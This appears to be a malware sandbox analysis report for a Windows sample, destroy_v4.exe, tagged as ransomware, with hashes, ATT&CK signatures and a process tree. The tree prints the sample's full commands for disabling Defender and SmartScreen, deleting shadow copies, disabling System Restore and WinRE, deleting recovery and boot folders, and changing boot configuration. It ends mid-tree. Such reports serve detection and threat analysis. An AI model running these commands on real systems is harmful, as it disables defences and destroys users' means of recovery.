a8a5beb51896f40417044f60c927c6325ad5465acffec6ca7ad309b82dd19ee2

Analysis

user interaction
yes
max time kernel
13s
max time network
15s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
19/09/2026, 15:09

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
destroy_v4.exe
Size 7.4MB
Sample260919-sjhbcsxt2j
SHA256 a8a5beb51896f40417044f60c927c6325ad5465acffec6ca7ad309b82dd19ee2
MD5 a9bc0dae9c5639346a828cdd95cdf879
SHA1 50b8da18f3a9abf69874322fb6f89f32d290f8ee
SHA512 40aa3f257179583ddfacbce341acdf9b63c499ae491016898a7b329ef890fbcfa5fda66f577a152979b4f7c2ef8e8e3b0cde02868e9dd184137b246f63599558
SSDEEP 196608:aiyOauC6j14KRIASTurSt+3L4WeDDlfg19512hnmXH:QS8ujSTummLFoD5I9X
TLSH
T12B76330AB8F362AFCA57D07E92475A153518388543F815EB0CB6F3B03D579E2DD398A8
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery evasion execution exploit impact ransomware

Malware Config

Signatures

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 16 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
8064	bcdedit.exe
8180	bcdedit.exe
8240	bcdedit.exe
8232	bcdedit.exe
8224	bcdedit.exe
9052	bcdedit.exe
8520	bcdedit.exe
8512	bcdedit.exe
8188	bcdedit.exe
4844	bcdedit.exe
7708	bcdedit.exe
9928	bcdedit.exe
10032	bcdedit.exe
10012	bcdedit.exe
10192	bcdedit.exe
10232	bcdedit.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4008	powershell.exe
8544	powershell.exe

Possible privilege escalation attempt 64 IoCs

exploit

pid	Process
9224	icacls.exe
9968	takeown.exe
9992	takeown.exe
8556	takeown.exe
6348	icacls.exe
9256	icacls.exe
8252	icacls.exe
8644	icacls.exe
8504	takeown.exe
7568	icacls.exe
6916	takeown.exe
9952	icacls.exe
8196	icacls.exe
9536	takeown.exe
10020	takeown.exe
8816	icacls.exe
7896	icacls.exe
4832	takeown.exe
8484	takeown.exe
3880	icacls.exe
9488	takeown.exe
9960	icacls.exe
9976	takeown.exe
4404	takeown.exe
4896	takeown.exe
9044	takeown.exe
8184	icacls.exe
9240	icacls.exe
9376	icacls.exe
2288	icacls.exe
9504	icacls.exe
9840	takeown.exe
8828	icacls.exe
8564	takeown.exe
8808	icacls.exe
8496	takeown.exe
1632	icacls.exe
9284	icacls.exe
9512	takeown.exe
9464	takeown.exe
9060	takeown.exe
9248	takeown.exe
9496	icacls.exe
3392	icacls.exe
9080	takeown.exe
8980	icacls.exe
7968	icacls.exe
4240	takeown.exe
9544	takeown.exe
9936	icacls.exe
1632	takeown.exe
4836	icacls.exe
8972	takeown.exe
3512	takeown.exe
9920	icacls.exe
8252	takeown.exe
8848	icacls.exe
8656	icacls.exe
8480	icacls.exe
8216	takeown.exe
4832	takeown.exe
9520	icacls.exe
9944	icacls.exe
8880	icacls.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Loads dropped DLL 5 IoCs

pid	Process
3104	destroy_v4.exe
3104	destroy_v4.exe
3104	destroy_v4.exe
3104	destroy_v4.exe
3104	destroy_v4.exe

Modifies file permissions 1 TTPs 64 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1632	takeown.exe
8848	icacls.exe
8828	icacls.exe
8656	icacls.exe
7568	icacls.exe
9496	icacls.exe
8880	icacls.exe
8980	icacls.exe
8572	icacls.exe
3880	icacls.exe
9512	takeown.exe
9936	icacls.exe
4404	takeown.exe
4920	takeown.exe
8252	takeown.exe
9044	takeown.exe
8664	icacls.exe
9060	takeown.exe
8252	icacls.exe
9960	icacls.exe
3392	icacls.exe
8644	icacls.exe
3020	icacls.exe
6348	icacls.exe
9944	icacls.exe
9992	takeown.exe
8196	icacls.exe
8216	takeown.exe
9240	icacls.exe
8416	takeown.exe
8184	icacls.exe
9536	takeown.exe
8536	takeown.exe
3512	takeown.exe
9504	icacls.exe
9920	icacls.exe
4836	icacls.exe
8556	takeown.exe
1632	icacls.exe
2248	takeown.exe
9376	icacls.exe
9080	takeown.exe
8504	takeown.exe
8524	takeown.exe
8496	takeown.exe
7896	icacls.exe
8216	takeown.exe
2288	icacls.exe
9264	takeown.exe
9544	takeown.exe
9528	takeown.exe
9488	takeown.exe
9952	icacls.exe
4896	takeown.exe
8480	icacls.exe
4240	takeown.exe
9520	icacls.exe
9032	takeown.exe
8816	icacls.exe
4832	takeown.exe
7968	icacls.exe
9248	takeown.exe
9224	icacls.exe
4832	takeown.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002
File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4916	sc.exe
7604	sc.exe
8960	sc.exe
1020	sc.exe
1908	sc.exe
3788	sc.exe
8860	sc.exe
3888	sc.exe
3980	sc.exe
4532	sc.exe

Executes a command shell one-liner 1 TTPs 64 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
7748	cmd.exe
8276	cmd.exe
7228	cmd.exe
8688	cmd.exe
5400	cmd.exe
1208	cmd.exe
7144	cmd.exe
2056	cmd.exe
6060	cmd.exe
4044	cmd.exe
1384	cmd.exe
8092	cmd.exe
2528	cmd.exe
5548	cmd.exe
1844	cmd.exe
2332	cmd.exe
1184	cmd.exe
1600	cmd.exe
5844	cmd.exe
4128	cmd.exe
2692	cmd.exe
2924	cmd.exe
5184	cmd.exe
2484	cmd.exe
2488	cmd.exe
5680	cmd.exe
8384	cmd.exe
7992	cmd.exe
3380	cmd.exe
5496	cmd.exe
2312	cmd.exe
5716	cmd.exe
3844	cmd.exe
9212	cmd.exe
4252	cmd.exe
5020	cmd.exe
5000	cmd.exe
5244	cmd.exe
7184	cmd.exe
7032	cmd.exe
4664	cmd.exe
1132	cmd.exe
7092	cmd.exe
4896	cmd.exe
6128	cmd.exe
1360	cmd.exe
2472	cmd.exe
8108	cmd.exe
1692	cmd.exe
2884	cmd.exe
7760	cmd.exe
9204	cmd.exe
1548	cmd.exe
1956	cmd.exe
4036	cmd.exe
3976	cmd.exe
7728	cmd.exe
7372	cmd.exe
8268	cmd.exe
936	cmd.exe
2576	cmd.exe
7720	cmd.exe
4228	cmd.exe
1204	cmd.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
428	vssadmin.exe

Kills process with taskkill 2 IoCs

defense_evasion

pid	Process
8240	taskkill.exe
9144	taskkill.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 3504 wrote to memory of 3104	3504	destroy_v4.exe	88
PID 3104 wrote to memory of 3996	3104	destroy_v4.exe	89
PID 3104 wrote to memory of 4036	3104	destroy_v4.exe	90
PID 3104 wrote to memory of 1956	3104	destroy_v4.exe	91
PID 3104 wrote to memory of 4792	3104	destroy_v4.exe	92
PID 3104 wrote to memory of 4044	3104	destroy_v4.exe	93
PID 3104 wrote to memory of 4576	3104	destroy_v4.exe	94
PID 3104 wrote to memory of 5520	3104	destroy_v4.exe	95
PID 3104 wrote to memory of 5844	3104	destroy_v4.exe	96
PID 3104 wrote to memory of 5244	3104	destroy_v4.exe	97
PID 3104 wrote to memory of 1712	3104	destroy_v4.exe	98
PID 3104 wrote to memory of 4128	3104	destroy_v4.exe	99
PID 1712 wrote to memory of 4460	1712	cmd.exe	111
PID 5244 wrote to memory of 3712	5244	cmd.exe	112
PID 4792 wrote to memory of 3980	4792	cmd.exe	265
PID 4036 wrote to memory of 1908	4036	cmd.exe	114
PID 5520 wrote to memory of 3788	5520	cmd.exe	115
PID 3104 wrote to memory of 3976	3104	destroy_v4.exe	116
PID 3104 wrote to memory of 5716	3104	destroy_v4.exe	117
PID 3104 wrote to memory of 4360	3104	destroy_v4.exe	118
PID 3104 wrote to memory of 4600	3104	destroy_v4.exe	119
PID 3104 wrote to memory of 4596	3104	destroy_v4.exe	120
PID 3104 wrote to memory of 1548	3104	destroy_v4.exe	121
PID 3104 wrote to memory of 1204	3104	destroy_v4.exe	122
PID 3104 wrote to memory of 1604	3104	destroy_v4.exe	123
PID 3104 wrote to memory of 5824	3104	destroy_v4.exe	124
PID 3104 wrote to memory of 2332	3104	destroy_v4.exe	125

C:\Users\Admin\AppData\Local\Temp\destroy_v4.exe
"C:\Users\Admin\AppData\Local\Temp\destroy_v4.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3504
- C:\Users\Admin\AppData\Local\Temp\destroy_v4.exe
  C:\Users\Admin\AppData\Local\Temp\destroy_v4.exe
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:3104
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoP -NonI -W Hidden -Exec Bypass -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -DisableIOAVProtection $true -DisableScriptScanning $true -DisableIntrusionPreventionSystem $true -DisablePrivacyMode $true""
    3⤵
    PID:3996
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -Exec Bypass -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -DisableIOAVProtection $true -DisableScriptScanning $true -DisableIntrusionPreventionSystem $true -DisablePrivacyMode $true"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4008
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc stop WinDefend"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4036
  - - C:\Windows\system32\sc.exe
      sc stop WinDefend
      4⤵
      Launches sc.exe
      PID:1908
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc config WinDefend start= disabled"
    3⤵
    - Executes a command shell one-liner
    PID:1956
  - - C:\Windows\system32\sc.exe
      sc config WinDefend start= disabled
      4⤵
      Launches sc.exe
      PID:4532
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc stop WdNisSvc"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4792
  - - C:\Windows\system32\sc.exe
      sc stop WdNisSvc
      4⤵
      Launches sc.exe
      PID:3980
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc config WdNisSvc start= disabled"
    3⤵
    - Executes a command shell one-liner
    PID:4044
  - - C:\Windows\system32\sc.exe
      sc config WdNisSvc start= disabled
      4⤵
      Launches sc.exe
      PID:1020
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc stop Sense"
    3⤵
    PID:4576
  - - C:\Windows\system32\sc.exe
      sc stop Sense
      4⤵
      Launches sc.exe
      PID:4916
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc config Sense start= disabled"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5520
  - - C:\Windows\system32\sc.exe
      sc config Sense start= disabled
      4⤵
      Launches sc.exe
      PID:3788
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v SmartScreenEnabled /t REG_SZ /d Off /f"
    3⤵
    - Executes a command shell one-liner
    PID:5844
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v SmartScreenEnabled /t REG_SZ /d Off /f
      4⤵
      PID:1500
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v EnableSmartScreen /t REG_DWORD /d 0 /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5244
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v EnableSmartScreen /t REG_DWORD /d 0 /f
      4⤵
      PID:3712
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v EnableWebContentEvaluation /t REG_DWORD /d 0 /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1712
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v EnableWebContentEvaluation /t REG_DWORD /d 0 /f
      4⤵
      PID:4460
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f"
    3⤵
    - Executes a command shell one-liner
    PID:4128
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f
      4⤵
      PID:908
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
    3⤵
    - Executes a command shell one-liner
    PID:3976
  - - C:\Windows\system32\vssadmin.exe
      vssadmin delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:428
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic shadowcopy delete"
    3⤵
    - Executes a command shell one-liner
    PID:5716
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic shadowcopy delete
      4⤵
      PID:8868
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoP -NonI -W Hidden -Exec Bypass -Command "Disable-ComputerRestore -Drive C:\""
    3⤵
    PID:4360
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -Exec Bypass -Command "Disable-ComputerRestore -Drive C:\"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:8544
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f"
    3⤵
    PID:4600
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
      4⤵
      PID:9232
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f"
    3⤵
    PID:4596
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
      4⤵
      PID:6596
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f"
    3⤵
    - Executes a command shell one-liner
    PID:1548
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f
      4⤵
      PID:8840
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reagentc /disable"
    3⤵
    - Executes a command shell one-liner
    PID:1204
  - - C:\Windows\system32\ReAgentc.exe
      reagentc /disable
      4⤵
      PID:4844
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Recovery" /r /d y"
    3⤵
    PID:1604
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Recovery" /r /d y
      4⤵
      Modifies file permissions
      PID:8536
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Recovery" /grant Administrators:F /t /c /q"
    3⤵
    PID:5824
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Recovery" /grant Administrators:F /t /c /q
      4⤵
      Modifies file permissions
      PID:8572
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "rmdir /s /q "C:\Recovery""
    3⤵
    - Executes a command shell one-liner
    PID:2332
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\Recovery" /r /d y"
    3⤵
    PID:3088
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\Recovery" /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:9044
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\Recovery" /grant Administrators:F /t /c /q"
    3⤵
    - Executes a command shell one-liner
    PID:1844
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\Recovery" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:8196
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "rmdir /s /q "C:\Windows\System32\Recovery""
    3⤵
    PID:624
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\winre.wim" /r /d y"
    3⤵
    PID:1780
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\winre.wim" /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:8216
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\winre.wim" /grant Administrators:F /t /c /q"
    3⤵
    - Executes a command shell one-liner
    PID:2472
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\winre.wim" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3392
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\Recovery\winre.wim" /r /d y"
    3⤵
    PID:4796
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\Recovery\winre.wim" /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1632
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\Recovery\winre.wim" /grant Administrators:F /t /c /q"
    3⤵
    PID:1580
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\Recovery\winre.wim" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      PID:8808
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Recovery\WindowsRE" /r /d y"
    3⤵
    PID:2072
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Recovery\WindowsRE" /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:8496
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Recovery\WindowsRE" /grant Administrators:F /t /c /q"
    3⤵
    - Executes a command shell one-liner
    PID:1208
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Recovery\WindowsRE" /grant Administrators:F /t /c /q
      4⤵
      Modifies file permissions
      PID:8664
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "rmdir /s /q "C:\Recovery\WindowsRE""
    3⤵
    - Executes a command shell one-liner
    PID:2884
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\Boot\DVD" /r /d y"
    3⤵
    - Executes a command shell one-liner
    PID:2484
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\Boot\DVD" /r /d y
      4⤵
      Possible privilege escalation attempt
      PID:8564
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\Boot\DVD" /grant Administrators:F /t /c /q"
    3⤵
    PID:1456
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\Boot\DVD" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:8816
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "rmdir /s /q "C:\Windows\Boot\DVD""
    3⤵
    PID:2596
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\Boot\PCAT" /r /d y"
    3⤵
    - Executes a command shell one-liner
    PID:2692
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\Boot\PCAT" /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4404
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\Boot\PCAT" /grant Administrators:F /t /c /q"
    3⤵
    - Executes a command shell one-liner
    PID:2576
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\Boot\PCAT" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:8828
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "rmdir /s /q "C:\Windows\Boot\PCAT""
    3⤵
    PID:5996
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\Boot\EFI" /r /d y"
    3⤵
    - Executes a command shell one-liner
    PID:5184
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\Boot\EFI" /r /d y
      4⤵
      Modifies file permissions
      PID:4920
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\Boot\EFI" /grant Administrators:F /t /c /q"
    3⤵
    PID:3756
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\Boot\EFI" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:8656
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "rmdir /s /q "C:\Windows\Boot\EFI""
    3⤵
    PID:5940
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\config\RegBack" /r /d y"
    3⤵
    PID:1088
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\config\RegBack" /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4896
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\config\RegBack" /grant Administrators:F /t /c /q"
    3⤵
    PID:5820
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\config\RegBack" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1632
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "rmdir /s /q "C:\Windows\System32\config\RegBack""
    3⤵
    - Executes a command shell one-liner
    PID:1360
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\System Volume Information" /r /d y"
    3⤵
    - Executes a command shell one-liner
    PID:4228
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\System Volume Information" /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:9060
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\System Volume Information" /grant Administrators:F /t /c /q"
    3⤵
    - Executes a command shell one-liner
    PID:1692
  - - C:\Windows\system32\icacls.exe
      icacls "C:\System Volume Information" /grant Administrators:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:8880
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "rmdir /s /q "C:\System Volume Information""
    3⤵
    PID:3184
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /set {current} recoveryenabled No"
    3⤵
    PID:3592
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {current} recoveryenabled No
      4⤵
      Modifies boot configuration data using bcdedit
      PID:8512
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
    3⤵
    PID:4340
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled No
      4⤵
      Modifies boot configuration data using bcdedit
      PID:8240
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /set {bootmgr} recoveryenabled No"
    3⤵
    PID:3956
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {bootmgr} recoveryenabled No
      4⤵
      Modifies boot configuration data using bcdedit
      PID:8188
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /set {current} bootstatuspolicy ignoreallfailures"
    3⤵
    PID:2308
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {current} bootstatuspolicy ignoreallfailures
      4⤵
      Modifies boot configuration data using bcdedit
      PID:8520
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc config VSS start= disabled"
    3⤵
    - Executes a command shell one-liner
    PID:1600
  - - C:\Windows\system32\sc.exe
      sc config VSS start= disabled
      4⤵
      Launches sc.exe
      PID:7604
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc stop VSS"
    3⤵
    PID:5196
  - - C:\Windows\system32\sc.exe
      sc stop VSS
      4⤵
      Launches sc.exe
      PID:8860
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc config swprv start= disabled"
    3⤵
    - Executes a command shell one-liner
    PID:2312
  - - C:\Windows\system32\sc.exe
      sc config swprv start= disabled
      4⤵
      Launches sc.exe
      PID:3888
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "sc stop swprv"
    3⤵
    - Executes a command shell one-liner
    PID:5000
  - - C:\Windows\system32\sc.exe
      sc stop swprv
      4⤵
      Launches sc.exe
      PID:8960
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /deletevalue {fwbootmgr} displayorder"
    3⤵
    PID:3676
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /deletevalue {fwbootmgr} displayorder
      4⤵
      Modifies boot configuration data using bcdedit
      PID:8180
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /set {fwbootmgr} displayorder {bootmgr}"
    3⤵
    PID:5464
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {fwbootmgr} displayorder {bootmgr}
      4⤵
      Modifies boot configuration data using bcdedit
      PID:8064
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /set {bootmgr} timeout 0"
    3⤵
    PID:548
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {bootmgr} timeout 0
      4⤵
      Modifies boot configuration data using bcdedit
      PID:8232
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /set {current} bootstatuspolicy ignoreallfailures"
    3⤵
    PID:1532
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {current} bootstatuspolicy ignoreallfailures
      4⤵
      Modifies boot configuration data using bcdedit
      PID:8224
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /set {bootmgr} path \bootmgr"
    3⤵
    - Executes a command shell one-liner
    PID:5496
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {bootmgr} path \bootmgr
      4⤵
      Modifies boot configuration data using bcdedit
      PID:7708
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /enum all"
    3⤵
    PID:5440
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /enum all
      4⤵
      Modifies boot configuration data using bcdedit
      PID:4844
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /set {fwbootmgr} bootsequence {bootmgr}"
    3⤵
    PID:4868
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3980
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {fwbootmgr} bootsequence {bootmgr}
      4⤵
      Modifies boot configuration data using bcdedit
      PID:9052
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\Boot\EFI\bootmgfw.efi" /r /d y"
    3⤵
    PID:2480
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\Boot\EFI\bootmgfw.efi" /r /d y
      4⤵
      Possible privilege escalation attempt
      PID:8484
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\Boot\EFI\bootmgfw.efi" /grant Administrators:F /t /c /q"
    3⤵
    PID:4420
  - - C:\Windows\system32\icacls.exe
